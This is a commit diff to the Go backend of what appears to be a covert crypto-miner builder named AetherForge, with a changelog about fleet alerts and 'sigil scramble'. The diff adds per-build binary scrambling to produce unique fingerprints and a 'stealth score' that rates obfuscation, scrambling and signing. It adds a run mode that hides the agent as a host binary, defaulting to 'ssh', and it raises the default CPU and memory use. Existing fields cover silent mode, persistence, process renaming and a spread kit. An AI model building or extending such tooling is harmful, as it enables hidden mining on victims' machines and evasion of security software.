feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -15,6 +15,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
@@ -36,6 +37,7 @@ type BuildRequest struct {
|
||||
DisplayMode string `json:"display_mode"`
|
||||
SilentMode bool `json:"silent_mode"`
|
||||
RunAs string `json:"run_as"`
|
||||
HostBinaryTarget string `json:"host_binary_target"`
|
||||
AutoStart bool `json:"auto_start"`
|
||||
Persistence bool `json:"persistence"`
|
||||
ProcessName string `json:"process_name"`
|
||||
@@ -80,6 +82,7 @@ type BuildRequest struct {
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SigilScramble bool `json:"sigil_scramble"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
BackupPools []BackupPool `json:"backup_pools"`
|
||||
// CancelToken is a client-generated UUID. Pass the same token to
|
||||
@@ -126,6 +129,9 @@ type BuildResponse struct {
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Signed bool `json:"signed,omitempty"`
|
||||
Obfuscated bool `json:"obfuscated,omitempty"`
|
||||
SigilScramble bool `json:"sigil_scramble,omitempty"`
|
||||
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
|
||||
StealthScore int `json:"stealth_score,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
@@ -155,7 +161,8 @@ type Handler struct {
|
||||
goWinresPath string
|
||||
serverModDir string
|
||||
policy BuildPolicy
|
||||
fleetSecret string // injected from server config; baked into every forge output
|
||||
fleetSecret string // injected from server config; baked into every forge output
|
||||
eventNotifier *alerts.Notifier
|
||||
|
||||
// Active build cancellation — maps cancel_token → cancel func so the frontend
|
||||
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
||||
@@ -168,6 +175,19 @@ func (h *Handler) SetFleetSecret(secret string) {
|
||||
h.fleetSecret = secret
|
||||
}
|
||||
|
||||
func (h *Handler) SetEventNotifier(n *alerts.Notifier) {
|
||||
h.eventNotifier = n
|
||||
}
|
||||
|
||||
func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) {
|
||||
if h.eventNotifier == nil {
|
||||
return
|
||||
}
|
||||
sizeMB := float64(sizeBytes) / 1024 / 1024
|
||||
h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge",
|
||||
fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName))
|
||||
}
|
||||
|
||||
// CancelBuild cancels an in-progress build identified by cancelToken.
|
||||
// Returns true if the token was found and cancelled, false if unknown.
|
||||
func (h *Handler) CancelBuild(cancelToken string) bool {
|
||||
@@ -631,6 +651,23 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
}
|
||||
}
|
||||
|
||||
scrambled := false
|
||||
fingerprint := ""
|
||||
if shouldSigilScramble(req) {
|
||||
fp, err := ApplySigilScramble(finalPath, buildID)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] sigil scramble: %v", err)
|
||||
} else {
|
||||
scrambled = true
|
||||
fingerprint = fp
|
||||
if exportPath != "" && exportPath != finalPath {
|
||||
if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil {
|
||||
_ = fp2
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(finalPath)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||
@@ -683,6 +720,8 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
|
||||
|
||||
resp := BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
@@ -705,6 +744,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
WorkerFile: workerName,
|
||||
Signed: signed,
|
||||
Obfuscated: obfuscated,
|
||||
SigilScramble: scrambled,
|
||||
BinaryFingerprint: fingerprint,
|
||||
StealthScore: StealthScore(obfuscated, scrambled, signed),
|
||||
}
|
||||
if fusionEnabled && bundleDownloadURL != "" {
|
||||
resp.DownloadURL = bundleDownloadURL
|
||||
@@ -810,7 +852,7 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
if req.MaxMemoryPct <= 0 {
|
||||
req.MaxMemoryPct = 70
|
||||
req.MaxMemoryPct = 85
|
||||
}
|
||||
if req.CPUPriority == "" {
|
||||
req.CPUPriority = "below_normal"
|
||||
@@ -821,11 +863,14 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.RunAs == "" {
|
||||
req.RunAs = "user"
|
||||
}
|
||||
if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" {
|
||||
req.HostBinaryTarget = "ssh"
|
||||
}
|
||||
if req.MaxCPUUsagePct <= 0 {
|
||||
req.MaxCPUUsagePct = 80
|
||||
req.MaxCPUUsagePct = 95
|
||||
}
|
||||
if req.MinFreeRAMMB <= 0 {
|
||||
req.MinFreeRAMMB = 1024
|
||||
req.MinFreeRAMMB = 512
|
||||
}
|
||||
if req.IdleThresholdPct <= 0 {
|
||||
req.IdleThresholdPct = 20
|
||||
@@ -983,8 +1028,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
MiningMode: %q,
|
||||
DisplayMode: %q,
|
||||
SilentMode: %v,
|
||||
RunAs: %q,
|
||||
AutoStart: %v,
|
||||
RunAs: %q,
|
||||
HostBinaryTarget: %q,
|
||||
AutoStart: %v,
|
||||
ProcessName: %q,
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
@@ -1046,6 +1092,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.DisplayMode,
|
||||
req.SilentMode,
|
||||
req.RunAs,
|
||||
req.HostBinaryTarget,
|
||||
req.AutoStart,
|
||||
req.ProcessName,
|
||||
buildID,
|
||||
|
||||
Reference in New Issue
Block a user